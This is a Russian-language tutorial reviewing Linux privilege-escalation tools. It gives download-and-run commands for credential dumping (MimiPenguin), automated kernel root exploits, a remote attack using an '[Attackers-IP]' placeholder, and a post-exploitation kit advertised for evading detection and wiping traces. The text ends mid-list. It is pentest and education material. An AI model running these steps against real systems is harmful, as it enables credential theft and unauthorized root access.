Содержание
1 Повышение привилегий в Linux
1.1 PXEnum
1.2 MIDA Multitool
1.3 MimiPenguin
1.4 Auto-Root-Exploit
1.5 LARE
2 Проверка и защита системы от техник постэксплуатации
2.1 Bashark
2.2 LinEnum
2.3 LinuxPrivChecker
2.4 Unix-privesc-check
3 Заключение
В этой статье вас ждет обзор и примеры применения наиболее известных и, что немаловажно, рабочих утилит для повышения привилегий Linux. Я расскажу, как манипулировать системой и стать рутом. Мы также поговорим про защиту и рассмотрим лучшие утилиты для проверки и защиты системы от техник постэксплуатации, которые могут быть полезны, как в защите Linux, так и в пентесте.
Еще по теме: Сайты для поиска уязвимостей
Повышение привилегий в Linux
Эскалация — (повышение привилегий) — это эксплуатация уязвимостей в операционной системе или прикладном ПО, позволяющая получить доступ к ресурсам, которые обычно защищены от определенного пользователя. В результате хакер имеет больше привилегий, чем предполагалось разработчиком или системным администратором, и может выполнять несанкционированные действия в целевой системе.
Статья предназначена для профессиональных пентестеров, руководителей службы CISO (информационной безопасности), а так же для «белых хакеров». Ни автор статьи, ни редакция сайта spy-soft.net не несут ответственности за любой возможный вред, причиненный материалами данной статьи.
PXEnum
Основная задача данного скрипта — функция перечисления (англ. Enumeration). Он вытаскивает всю доступную информацию о системе. Скрипт создан для настоящих лентяев. Хорошо, если высказаться более политкорректно, то «для тех, кто ценит свое время». Встроенные команды позволяют также угонять хеши паролей, содержание директорий, все сведения о системе, наличие application-серверов, приложений, соединений, юзеров.
Для запуска скрипта не требуются права root, он работает в стандартном терминале. Перед установкой скачиваем инструмент с помощью Wget:
1
$ wget https://raw.githubusercontent.com/shawn … PXEnume.sh
Установка PXEnum:
1
2
3
4
$ git clone https://github.com/shawnduong/PXEnum.git
$ cd PXEnum/
$ chmod +x PXEnum.sh
$ bash PXEnum.sh
Другой вариант запуска PXEnum:
1
$ sh PXEnum.sh
Повышение привилегий Linux
MIDA Multitool
Другой интересный инструмент — MIDA Multitool, созданный на базе менее популярных собратьев SysEnum и RootHelper, но предлагающий гораздо больше возможностей.
По воле разработчика MIDA Multitool объединяет в себе отдельные функции своих предшественников, а именно:
SysEnum — Bash-скрипт, предназначенный для получения основной информации о системе, включая следующие данные: текущий пользователь, IP-конфигурация, таблицы ARP, запущенные процессы;
RootHelper — призван помочь в деле эскалации привилегий в системе, которая была скомпрометирована, при помощи выполнения ряда перечислений и использования доверительных сценариев.
Установка MIDA Multitool в систему с GitHub:
1
2
3
$ git clone https://github.com/NullArray/Bash-Kit-Multitool
$ cd Bash-Kit-Multitool
$ chmod +x bashkit.sh
Запускаем скрипта MIDA Multitool :
1
$ /.bashkit.sh
Меню выбора действий после запуска MIDA Multitool
Меню выбора действий после запуска MIDA Multitool
Вывод некоторой информации по системе:
Данные об учетных записях в текущей системе
Данные об учетных записях в текущей системе
MimiPenguin
Очень хорошо известный в узких кругах пентестеров скрипт под названием MimiPenguin. Основная задача утилиты — сброс пароля на вход в систему от текущего пользователя Linux (то есть непривилегированного). В некотором роде это аналог утилиты mimikatz для дампа пароля в Windows-системах.
Кроме того, MimiPenguin поддерживает такие приложения, как VSFTPd (активные подключения клиента FTP), Apache 2 (активные/старые сеансы HTTP BASIC AUTH, но для этого требуется Gcore) и OpenSSH-сервер (активные подключения SSH с использованием команды sudo). И вообще, необходимо сказать, что MimiPenguin нередко становится частью эксплоитов под Linux, так что тулза очень и очень востребована.
Установка MimiPenguin с репозитория GitHub:
1
$ git clone https://github.com/huntergregal/mimipenguin
Окно терминала, отображающее процесс установки MimiPenguin
Окно терминала, отображающее процесс установки MimiPenguin
Если у вас еще не установлен GitHub, то используйте эти команды:
1
2
$ apt install git // Debian/Ubuntu systems
$ yum install git // RHEL/CentOS systems
Переходим в директорию MimiPenguin и запускаем скрипт:
1
2
3
4
$ cd mimipenguin
$ ls –a
$ chmod +x mimipenguin.sh
$ ./mimipenguin.sh
Результат работы MimiPenguin — все пароли как на ладони
Результат работы MimiPenguin — все пароли как на ладони
Auto-Root-Exploit
Сингловый скрипт, созданный для одной-единственной цели — получить права root на текущую учетную запись, под которой он был запущен с помощью эксплуатации известных багов. Поддерживает версии ядра, начиная с Linux Kernel 2.6 и до 4.8.0-41-generic, а также часть ОС семейства *BSD.
Установка Auto-Root-Exploit в систему:
1
2
3
$ git clone https://github.com/nilotpalbiswas/Auto-Root-Exploit
$ cd Auto-Root-Exploit
$ chmod +x autoroot.sh
Проверка версии ядра (для того чтобы выбрать нужный эксплоит-пак):
1
<span class="pln">$ uname </span><span class="pun">–</span><span class="pln">a</span>
Получение сведений о версии ядра ОС в Kali Linux
Получение сведений о версии ядра ОС в Kali Linux
Использование Auto-Root-Exploit:
1
$ bash autoroot.sh N
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
for kernel version 2.6 all
bash autoroot.sh 2
for kernel version 3 all
bash autoroot.sh 3
for kernel version 4 all
bash autoroot.sh 4
for freebsd & openbsd all
bash autoroot.sh bsd
for apple macos all
bash autoroot.sh app
for kernel 2.6,3,4 bsd & app all
bash autoroot.sh all
Стартовое меню выбора в Auto-Root-Exploit
Стартовое меню выбора в Auto-Root-Exploit
Результат работы Auto-Root-Exploit — получение root-прав на систему
Результат работы Auto-Root-Exploit — получение root-прав на систему
LARE
И напоследок еще один довольно простой скрипт, который позволяет с помощью использования известных уязвимостей в ядре ОС получать привилегии root удаленно с атакующей машины. Скрипт использует локальные эксплоиты для получения root-прав для версий ядра Linux Kernel v2.6 — v4.8.
Кстати, этот инструмент очень часто находит свое применение в различных War Games и CTF-соревнованиях, например hackthebox.gr, или даже на сертификационном экзамене OSCP.
Устанавка LARE в систему:
1
2
$ git clone https://github.com/EnigmaDimitri/LARE && cd LARE
$ chmod +x LARA.sh
Пример локального запуска LARE:
1
$ LARE.sh -a
или
1
$ ./LARE.sh -a
Запуск LARE на локальной машине
Запуск LARE на локальной машине
Запуск скрипта на целевой машине в сети:
1
$ LARE.sh -l [Attackers-IP]
Атака на удаленную машину в локальной сети
Атака на удаленную машину в локальной сети
Запуск на машине с подключением к базе данных эксплоитов на GitHub:
1
$ LARE.sh -l or ./LARE.sh -l
Проверка и защита системы от техник постэксплуатации
Кроме традиционных мер, таких как установка патчей и минимизация привилегий, безопасность системы дополнительно обеспечивают специальные утилиты для проверки системы. В противовес популярному мнению (согласно которому к постэксплуатации ведут только зиродеи или устаревший софт) к грандиозному факапу ведут и ошибки конфигурации — предоставление избыточных прав доступа, пароли по умолчанию, системные каталоги и файлы в общем доступе, выключенные опции безопасности в программах, работающих из коробки, и прочие огрехи.
Ниже будут представлены утилиты (скрипты) быстрого анализа системы и проверки ее на факт выполнения несанкционированных и потенциально опасных действий со стороны непривилегированных пользователей.
Bashark
Bashark — популярный скрипт, который помогает пентестерам и исследователям в области информационной безопасности тестить возможности управления системой после успешной эксплуатации.
Фирменные фичи и возможности, заявленные разработчиком:
быстрый запуск, мгновенная реакция;
мультиплатформенность: Unix, OS X, Solaris и другие;
отсутствие зависимостей от версии ядра ОС или установленных пакетов;
иммунитет к эвристическому и поведенческому анализу (обход средств защиты);
встроенные алиасы к популярным командам;
расширение стандартной оболочки bash-командами для постэксплуатации;
процедура заметания следов после завершения работы (Stealthy);
расширяемость — возможность дописывать свои команды и юзать из терминала;
поддержка табуляции при наборе команд.